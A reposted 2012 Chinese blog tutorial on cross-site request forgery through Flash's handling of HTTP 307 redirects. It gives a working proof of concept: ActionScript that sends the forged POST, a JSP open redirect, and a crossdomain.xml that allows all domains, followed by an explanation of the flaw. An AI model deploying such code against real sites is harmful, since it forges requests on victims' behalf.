注册 登录  
 加关注
查看详情
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

那些星星点点的微芒,终会成为燃烧生命的熊熊之光

 
 
 
 
 

日志

 
 

[转]Flash 307 实现 CSRF  

2012-08-24 11:43:53|  分类: 安全一路走来 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

网上看了些文章

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html

http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/attachments/20110210/0c52e56d/attachment-0001.swf

旁的不多说,那个swf用时需要注意一点:在post数据时,需要勾选上HttpHeader选项

上as,新建一个FlashBuilder or FlashDevelop的工程,我用的是FB,FD类似。然后新建一个内容如下的as文件,然后点击运行即可,如果让选择,那就选择在浏览器运行。

--------------------------------------------------------------------start of actionScript-------------------------------------------------------------------------

package 

    import flash.display.Sprite; 
    import flash.events.*; 
    import flash.net.*; 
    import flash.system.*; 
    import flash.utils.*; 
    import flash.external.*; 
    import mx.core.*; 
    import mx.events.*; 
         
    public class Axx extends Sprite 
    { 
        public function Axx() 
        { 
            try 
            { 
                var loader:* = new URLLoader(); 
                var request:* = new URLRequest("http://127.0.0.1/xss.jsp?url=http://xxxxx.xxxx.xxx/xxx.do"); //创建一个请求
                request.method = URLRequestMethod.POST; //method
                request.data = "xxxxx"; //数据
                request.requestHeaders.push(new URLRequestHeader("X-Header", "test=data;")); 
                loader.load(request); //发送
            }catch (err:Error) 
            {//异常捕获 
        } 
        } 
    } 
}

------------------------------------------------------end of actionScript------------------------------------------------------------------------------------

-------------------------------------------------------start of xss.jsp--------------------------------------------------------------------------------------------

<%

//设置返回code为307,设置Header里的Location属性跳转到被攻击的url

response.setStatus(307);response.setHeader("Location",request.getParameter("url"));

%>

-------------------------------------------------------end of xss.jsp --------------------------------------------------------------------------------------------

--------------------------------------------------------start of crossdomain.xml------------------------------------------------------------------------------ 

<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
<allow-access-from domain="*"/>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>

--------------------------------------------------------end of crossdomain.xml--------------------------------------------------------------------------------

上段代码分别部署之后,在 就可以看到效果了。

详细原理分析:

1.前景知识:response code 307

  "If the 307 status code is received in response to a request other than GET or HEAD, the user agent MUST NOT automatically redirect the request unless it can be confirmed by the user"s

翻译:发送一个请求时,如果不是GET 或者HEAD 请求,则当浏览器收到307的状态码时,不可以对这个请求自动转发,除非和用户进行确认。

这点火狐做的不错,会弹个框框,告诉你要转发到别的地方,但是问题就出在这里,flash对307解析的问题,不但对307没有确认,而且还把POST转发,于是乎,所有没有进行Token防护csrf的,都可以中招。

2.运行过程分析:flash会发一个请求到xss.jsp,然后他会请求crossdomain.xml,当收到307转发时,它会直接转发到目标url,然后在取目标url下的crossdomain.xml,然后就悲剧了,先发的请求,后取的xml。这样就导致了跨域发送。

3.额外的:对于token的问题。我尝试了预读的方式,先请求目标url获得token,解析出来,再发第二次请求,但是一旦解析完毕后,flash就不会再执行任何东西了,因为取得token前,flash已经取回了目标url下的crossdomain.xml,然后就不可以把目标域下的数据展示出来,或者再次提交了。

  评论这张
 
阅读(50)| 评论(0)
推荐

历史上的今天

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2018